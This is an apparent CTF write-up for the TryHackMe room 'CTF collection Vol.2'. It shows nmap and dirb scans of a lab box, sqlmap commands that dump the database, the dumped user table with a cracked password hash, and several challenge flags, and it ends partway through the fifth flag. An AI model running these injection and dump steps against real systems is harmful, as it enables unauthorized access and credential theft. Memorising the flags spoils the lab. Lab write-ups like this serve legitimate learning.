CTF collection Vol.2

TryHackMe | CTF collection Vol.2

Welcome, welcome and welcome to another CTF collection. This is the second installment of the CTF collection series. For your information, the second serious focuses on the web-based challenge. There are a total of 20 easter eggs a.k.a flags can be found within the box. Let see how good is your CTF skill.

Warning: The challenge contains seizure images and background. If you feeling uncomfortable, try removing the background on style tag.

Note: All the challenges flag are formatted as THM{flag}, unless stated otherwise

Submit all your easter egg right here. Gonna find it all!

Setup

➜  TryHackMe nmap -A -vv 10.10.101.183

22/tcp open  ssh     syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 1b:c2:b6:2d:fb:32:cc:11:68:61:ab:31:5b:45:5c:f4 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAICZbLNIOa6Xx8zj7A1bZmQnqMwS+4k/eDqPTSxUAfkGU7k0UVOhHQDvcfBAmggbjC7zm0gHX5RQvn3gxbzsV/SeRAjp+DXhg4uLkTkFAwDssFn8lOQjEOk1XUHvFFwWXQCNqWxZ+rM7mIZIntYbjdQybCUp0pZgA3+spPXGdVWvAAAAFQDsrnpTlNjNb7iBzNAS6BuKnTqqnQAAAIBd9xpY8kXVLnAAQCKH4BhoUxgQNtyci+g//rI8jPuGQigyYBrqBlpCXwS+eDqtr1nXJBvJrUlqPpXPS+x0FtNcf/je24sallrIb5X5T44LIPHHO+u8yqRcKlbd3Ze8Tu6paXbVCI9sxh8Sf2Rj8oD1iVTbWCGBDl+Y0im9fkl1+QAAAIBiaJ1Ce3Xho/l3hVFLBQExyMx9sAjNC2cbZZCPvIvq6849baYcfb7bQE0IWtSaJSVLIBQAlZ+RYDxQWsdQQkyQl/0KOTojEt83/OteWa16veZhmG8EYIlJ1pxkKttBZbeePB61y0XmYsyOfXqbFztBkS4wKbgkZaPlZyg+q2Vb9g==
|   2048 8d:88:65:9d:31:ff:b4:62:f9:28:f2:7d:42:07:89:58 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUAD22WKbNzRInAbbqdU8lcwDS6237CJZYlln/DGVYvlTBkcNCUCZ45vqb1Hnt+0hbdroxtfKrtScpHQVBMDmxhhc7QojK1WYMdaab1kcClcU0huEOIWgUFD18nlbij9TDk/v8B6H1IQ9UCpXdmmypxwu65g5EZm2H6+b4YLk28wZyU3Pt6DaSeO5JFc5ojg21f5g8RjGO1vJF4RiEHIs/Fq/ErAo3VmhoF/Wr5b1yTbZXgF4+1kXrt5EqsfmQrhm12Vnv4fjsIt4lxlLyypxx2LWDviEBcYiyD57HcLXo50CVvJaufpVGxGa5U/SrE2QeRdy8W/+jg519aNdQoyDT
|   256 40:2e:b0:ed:2a:5a:9d:83:6a:6e:59:31:db:09:4c:cb (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMRZRUQkFhSMJkWs8Gb6yKlWOCWtuKh73fLtH2az3J9+D6+OtBTEbZmfvyaQrog0KjJinQEOh4FQpf/WWiBIR0g=

80/tcp open  http    syn-ack Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/VlNCcElFSWdTQ0JKSUVZZ1dTQm5JR1VnYVNCQ0lGUWdTU0JFSUVrZ1p5QldJR2tnUWlCNklFa2dSaUJuSUdjZ1RTQjVJRUlnVHlCSklFY2dkeUJuSUZjZ1V5QkJJSG9nU1NCRklHOGdaeUJpSUVNZ1FpQnJJRWtnUlNCWklHY2dUeUJUSUVJZ2NDQkpJRVlnYXlCbklGY2dReUJDSUU4Z1NTQkhJSGNnUFElM0QlM0Q=
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: 360 No Scope!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

➜  TryHackMe dirb http://10.10.101.183

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Jun 20 17:34:38 2020
URL_BASE: http://10.10.101.183/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.101.183/ ----
+ http://10.10.101.183/button (CODE:200|SIZE:39148)
+ http://10.10.101.183/cat (CODE:200|SIZE:62048)
+ http://10.10.101.183/cgi-bin/ (CODE:403|SIZE:289)
+ http://10.10.101.183/index (CODE:200|SIZE:94328)
+ http://10.10.101.183/index.php (CODE:200|SIZE:94328)
+ http://10.10.101.183/iphone (CODE:200|SIZE:19867)
==> DIRECTORY: http://10.10.101.183/login/
+ http://10.10.101.183/robots (CODE:200|SIZE:430)
+ http://10.10.101.183/robots.txt (CODE:200|SIZE:430)
+ http://10.10.101.183/server-status (CODE:403|SIZE:294)
+ http://10.10.101.183/small (CODE:200|SIZE:689)
+ http://10.10.101.183/static (CODE:200|SIZE:253890)
+ http://10.10.101.183/who (CODE:200|SIZE:3847428)

---- Entering directory: http://10.10.101.183/login/ ----
+ http://10.10.101.183/login/index (CODE:200|SIZE:782)
+ http://10.10.101.183/login/index.php (CODE:200|SIZE:782)

#1 Easter 1

THM{4u70b07_r0ll_0u7}

#2 Easter 2

Base64 decode all the result and you will get the final message, copy the message and copy it on the website

THM{f4ll3n_b453}

#3 Easter 3

THM{y0u_c4n'7_533_m3}

#4 Easter 4

➜  ~ sqlmap -r export.txt --dbs
# You can create an export with burpsuite

➜  ~ sqlmap -r export.txt --dump
# Now we dump all the tables

Table : user
+----------+------------------------------------------+
| username | password                                 |
+----------+------------------------------------------+
| DesKel   | 05f3672ba34409136aa71b8d00070d1b (cutie) |
| Skidy    | He is a nice guy, say hello for me       |
+----------+------------------------------------------+

Table: nothing_inside
[1 entry]
+-------------------------+
| Easter_4                |
+-------------------------+
| THM{1nj3c7_l1k3_4_b055} |
+-------------------------+

#5 Easter 5

Table : user
+----------+------------------------------------------+
| username | password                                 |
+----------+------------------------------------------+
| DesKel   | 05f3672ba34409136aa71b8d00070d1b (cutie) |
| Skidy    | He is a nice guy, say hello for me       |
+----------+------------------------------------------+